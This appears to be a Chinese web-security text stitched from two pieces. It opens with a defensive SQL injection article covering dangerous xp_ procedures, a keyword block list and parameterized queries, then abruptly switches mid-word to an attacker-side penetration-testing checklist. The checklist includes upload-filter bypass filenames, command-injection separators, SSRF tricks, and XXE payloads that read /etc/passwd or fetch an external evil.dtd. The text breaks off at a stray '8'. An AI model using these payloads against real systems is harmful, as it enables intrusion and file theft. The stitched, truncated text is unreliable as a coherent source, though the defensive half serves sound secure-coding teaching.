xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。


xp_cmdshell

能执行dos命令,通过语句sp_dropextendedproc删除,

不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)

xpsql70.dll(sqlserer 7.0)


xp_fileexist

用来确定一个文件是否存在


xp_getfiledetails

可以获得文件详细资料


xp_dirtree

可以展开你需要了解的目录,获得所有目录深度


Xp_getnetname

可以获得服务器名称


Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以访问注册表的存储过程


Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要请丢弃OLE自动存储过程


4. 非参数化SQL与参数化SQL

1) 非参数化(动态拼接SQL)

a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。

b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。

c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。

d) 使用枚举:如果只有有限的几个值,就用枚举。

e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!

这边提供一个关键字过滤参考方案(MSSQL):


public static bool ValiParms(string parms)

{

if (parms==null)

{

return false;

}

Regex regex=new Regex("sp_", RegexOptions.IgnoreCase);

Regex regex2=new Regex("'", RegexOptions.IgnoreCase);

Regex regex3=new Regex("create ", RegexOptions.IgnoreCase);

Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase);

Regex regex5=new Regex("\"", RegexOptions.IgnoreCase);

Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase);

Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase);

Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase);

Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase);

Regex regex10=new Regex("select ", RegexOptions.IgnoreCase);

Regex regex11=new Regex("update ", RegexOptions.IgnoreCase);

return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

}


优点:写法相对简单,网络传输量相对参数化拼接SQL小

缺点:

a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。

b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。

c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。

2) 参数化查询(Parameterized Query)

a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。

b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。

优点:

? 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)

? 参数化查询能强制执行类型和长度检查。

? 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)

缺点:

? 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。


疑问:参数化如何“批量更新”数据库。

a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

EG:



StringBuilder sqlBuilder=new StringBuilder(512);

Int count=0;

For(循环)

{

sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());

SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

……

Count++;

}


b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType=System.Data.SqlDbType.Structured; 详细请查看……


疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。


另外:想验证重用查询计划的同学,可以使用下面两段辅助语法



--清空缓存的查询计划

DBCC FREEPROCCACHE

GO

--查询缓存的查询计划

SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]

FROM sys.dm_exec_cached_plans p

OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

JOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handle

GO


3) 参数化查询示例

效果如图:

参数化关键代码:



Private bool ProtectLogin(string userName, string password)

{

SqlParameter[] parameters=new SqlParameter[]

{

new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

};

int count=(int)SqlHelper.Instance.ExecuteScalar

("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

return count > 0 ? true : false;

}


5. 存储过程

存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

优点:

a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。

b) 在创建时进行预编译,后续的调用不需再重新编译。

c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。

缺点:

a) 非应用程序内联代码,调式麻烦。

b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)

c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。

演示请下载示例程序,关键代码为:


cmd.CommandText=procName; // 传递存储过程名

cmd.CommandType=CommandType.StoredProcedure; // 标识解析为存储过程


如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?

答:MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。

关键代码:(详细见示例)

a) sp_executesql



CREATE PROCEDURE PROC_Login_executesql(

@userNamenvarchar(10),

@password nvarchar(10),

@count int OUTPUT

)

AS

BEGIN

DECLARE @s nvarchar(1000);

set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

END


b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)



CREATE PROCEDURE PROC_Login_EXEC(

@userNamenvarchar(10),

@password varchar(20)

)

AS

BEGIN

DECLARE @s nvarchar(1000);

set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

EXEC('DECLARE @count int;' +@s+'select @count');

END


注入截图如下:



6. 专业的SQL注入工具及防毒软件

情景1

A:“丫的,又中毒了……”

B:“我看看,你这不是裸机在跑吗?”

电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。


情景2

A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”

A:“网站怎么被黑了,怎么入侵的???”

公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。SQL注入工具介绍:10个SQL注入工具


7. 额外小知识:LIKE中的通配符

尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。

参考:SQL中通配符的使用


%

包含零个或多个字符的任意字符串。


_

任何单个字符。


[]

指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。


[^]

不在指定范围(例如 [^a - f])或集合(例如 [^abcdef])内的任何单个字符。


在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题:

a) like的第一个字符是'%'或'_'时,为未知字符不会使用索引, sql会遍历全表。

b) 若通配符放在已知字符后面,会使用索引。

网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……

截图如下:

有两种将通配符转义为普通字符的方法:

1) 使用ESCAPE关键字定义转义符(通用)

在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:

WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2) 在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号 (-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG:


符号

含义


LIKE '5[%]'

5%


LIKE '5%'

5 后跟 0 个或多个字符的字符串


LIKE '[_]n'

_n


LIKE '_n'

an, in, on (and so on)


LIKE '[a-cdf]'

a、b、c、d 或 f


LIKE '[-acdf]'

-、a、c、d 或 f


LIKE '[ [ ]'

[


LIKE ']'

] (右括号不需要转义)


所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行



private static string ConvertSqlForLike(string sql)

{

sql=sql.Replace("[", "[[]"); // 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理

sql=sql.Replace("_", "[_]");

sql=sql.Replace("%", "[%]");

return sql;

}


结束语:感谢你耐心的观看。恭喜你, SQL安全攻防你已经入门了……


参考文献:

SQL注入天书

(百度百科)SQL注入

扩展资料:

Sql Server 编译、重编译与执行计划重用原理

浅析Sql Server参数化查询-----验证了参数的类型和长度对参数化查询影响

Sql Server参数化查询之where in和like实现详解

-----讲述6种参数化实现方案

webshell -----不当小白,你必须认识的专业术语。一个用于站长管理,入侵者入侵的好工具

SQL注入技术和跨站脚本攻击的检测 -----讲解使用正则表达式检测注入

XSS(百度百科) -------恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

XSS攻击实例 -------基本思路:我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。

Web安全测试之XSS

Web API 入门指南 - 闲话安全

中间人攻击(MITM)姿势总结

浅谈WEB安全性(前端向)

透测试

这里包含了我的大部分渗透测试经验与知识的积累。从一个攻击者的角度总结了一些渗透测试的知识,供新手学习和规避这些安全问题保障自己的隐私安全。


信息收集

业务相关

github泄漏

网盘泄漏

敏感路径扫描

· https://github.com/ring04h/dirfuzz

QQ群文件泄漏

域名相关

域名商

· 找域名商漏洞,越权影响目标域名

· 欺骗域名商客服,影响目标域名

· 社工账号,篡改解析地址

DNS

· 渗透DNS服务器,和社工DNS服务商

· DNS域传送漏洞

· 子域名接管漏洞

CDN

· 找真实IP地址

? censys.io 等网络空间引擎查找关键字

? SSRF漏洞

? 查找域名历史解析IP

? https://securitytrails.com/

? site.ip138.com

? 服务器信息泄露

? 探测子域名IP

? cloudflare(HatCloud)

? 看邮件发送者源IP

? APP客户端

? DOS CDN可能会成回源模式

· 破解CDN服务账号

WHOIS

· 注册者邮箱

? 反查其他域名

· 手机号

· 地址

· 注册者名称

· DNS

子域名

· 搜索引擎

? fofa、傻蛋、谛听、zoomeye、censys

? Google、bing、baidu、duckduckgo

? 接口聚合:https://github.com/bit4woo/teemo

· 暴力破解

? layer

? wydomain

· 网页爬虫

? 基于JS的域名探测https://github.com/nsonaniya2010/SubDomainizer

· DNS查找

? dnsdumpster.com

? www.virustotal.com

服务器主机

端口

· nmap

· Zenmap

系统识别

· nmap -O

· 大小写敏感

· TTL

· banner

· 信息泄露

· 特殊端口 如(22 / 139 / 445 / 1433 / 3389)

· HOSTNAME

相关资产

· 同服网站

? https://dns.aizhan.com

· 备案反查

C段业务

· 可能会有其他相关业务,如交换机、机房后台、监控系统等

指纹识别

· 特有文件MD5

· 包含字符

· cookie

· 响应头

弱点检测

常见漏洞

文件操作

· 文件上传

? 字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

? %00截断

? 畸形文件名

? Windows

? shell.php{%80-%99}

? NTFS ADS特性

? shell.php......

? shell.php::$DATA

? shell.php:a.jpg

? 目录穿越

? 文件头绕过

? 修改上传类型 Content-Type

? 双文件上传

? 超长截断

? 长文件名

? 长Content-Disposition

? 特殊文件

? 上传html、htm 可以 XSS

? swf 可以XSS

? pdf 在 chrome 里可以做跳转

? cer、asa、jspx、php5、phtml等可能会被当做动态语言解析

? .htaccess .user.ini web.config web.xml 等

? 无大小和次数限制

? 无限上传制造垃圾数据堵死硬盘

? imagemagick命令执行

· 文件读取

? 读取系统敏感文件 如配置文件

· 文件包含

? 可读取文件或代码执行

· 文件删除

? 删除配置文件可破坏网站

? 删除安装锁可重装

CSRF

· 自动检测 https://github.com/BlackHole1/autoFindXssAndCsrf

· FLASH CSRF

? http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/

? https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html

? http://www.vuln.cn/7134

XSS

· 普通反射/持久/DOM型

· UXSS

· XSS 蠕虫

· rootkit xss

· Flash Xss

? https://www.secpulse.com/archives/44299.html

· 其他文档

? Web前后端漏洞分析与防御 https://github.com/TYRMars/WebSafe-StepPitGuide

? 脑图

? https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png

? https://github.com/phith0n/Mind-Map/blob/master/XSS2.png

? https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png

· CRLF注入在响应头会导致XSS

SQL注入

· ORACLE

? 执行java代码

? https://www.cnblogs.com/rebeyond/p/7928887.html

? https://www.cnblogs.com/pshell/articles/7473713.html

· MYSQL

? load_file() 文件读取函数

? outfile 写文件

? MOF / UDF 提权

? general_log_file 写文件

· SQL Server

? xp_cmdsell

? https://www.jianshu.com/p/027636ef4640

? wscript.shell

? https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html

? 沙盒模式

? https://blog.csdn.net/sircoding/article/details/78683192

? 存储过程写文件

? xp_dirtree

? https://blog.csdn.net/kj021320/article/details/1736964

? sp_oamethod

? https://www.0dayhack.com/post-678.html

代码执行/命令执行

· 命令执行

? & / && / | / | | / ;

? 系统变量 ${xx} and %xx%

· 代码执行

? 表达式

? freemarker

? OGNL

? Spel

? jsel

? 非表达式

? php

? eval

? assert

? call_user_func() / call_user_func_array()

? preg_replace()

? create_function()

? array_map()

? array_filter()

? usort() / uasort()

? 反序列化

? php 源文件拼接写入

? java

? 反序列化

? 远程 jar 加载

? 反射机制

? jsp 源文件拼接写入

SSRF

· 利用姿势

? http/s协议

? 获取真实IP

? 内网主机 / 端口探测

? 攻击redis、memcache等

? file协议

? 读取文件

? gopher协议

? 同上

· 绕过

? IP换成域名

? IP换成10进制

? http://xxx.com@baidu.com

? 302 跳转

· 参考

? https://www.t00ls.net/articles-41070.html

XXE

· 利用姿势

? 文件读取

? <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

? SSRF

? <!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

· 参考

? https://www.freebuf.com/articles/web/177979.html

无恶意特征的漏洞

· 整数溢出

? 数字超出限定大小则会为负数。如:在购买商品时填写超长数字,造成溢出,最终乘以金额变为负数

· 并发修改数据(如提现)

· 网站重装

· 未授权访问

· 水平与垂直越权

· JSONP劫持

· 密码重置

· 点击劫持

编辑器漏洞

· fckeditor

? https://www.cnblogs.com/bl8ck/p/9521448.html

· ueditor

? .net

? getshell

? https://www.seebug.org/vuldb/ssvid-97499

? jsp

? 文件上传

? https://www.secpulse.com/archives/11232.html

? ssrf

? https://paper.seebug.org/606/

· ckfinder

? https://www.seebug.org/appdir/CKFinder

? https://www.secpulse.com/archives/26999.html

· CKEditor

? https://www.seebug.org/vuldb/ssvid-60642

· KindEditor

? https://www.anquanke.com/post/id/171422

? https://www.freebuf.com/articles/web/128076.html

· ewebeditor

? https://www.cnblogs.com/milantgh/p/3601739.html

? https://www.0dayhack.com/post-426.html

常见服务弱点

21 / FTP

· 匿名/暴力破解

· 拒绝服务

22 / SSH

· 暴力破解

23 / telnet

· Winbox(CVE-2018-14847)

? https://github.com/BasuCert/WinboxPoC

· 弱口令 / 暴力破解

161 / snmp

· 弱口令

? https://blog.csdn.net/archersaber39/article/details/78932252

389 / ladp

· 匿名访问

? https://www.cnblogs.com/persuit/p/5706432.html

· ladp注入

? http://www.4hou.com/technology/9090.html

? https://www.freebuf.com/articles/web/149059.html

443 / ssl

· openssl心脏出血

? https://paper.seebug.org/437/http://www.anquan.us/static/drops/papers-1381.htmlhttps://www.freebuf.com/sectool/33191.html

445 / smb

· win10拒绝服务

· 永恒之蓝RCE

8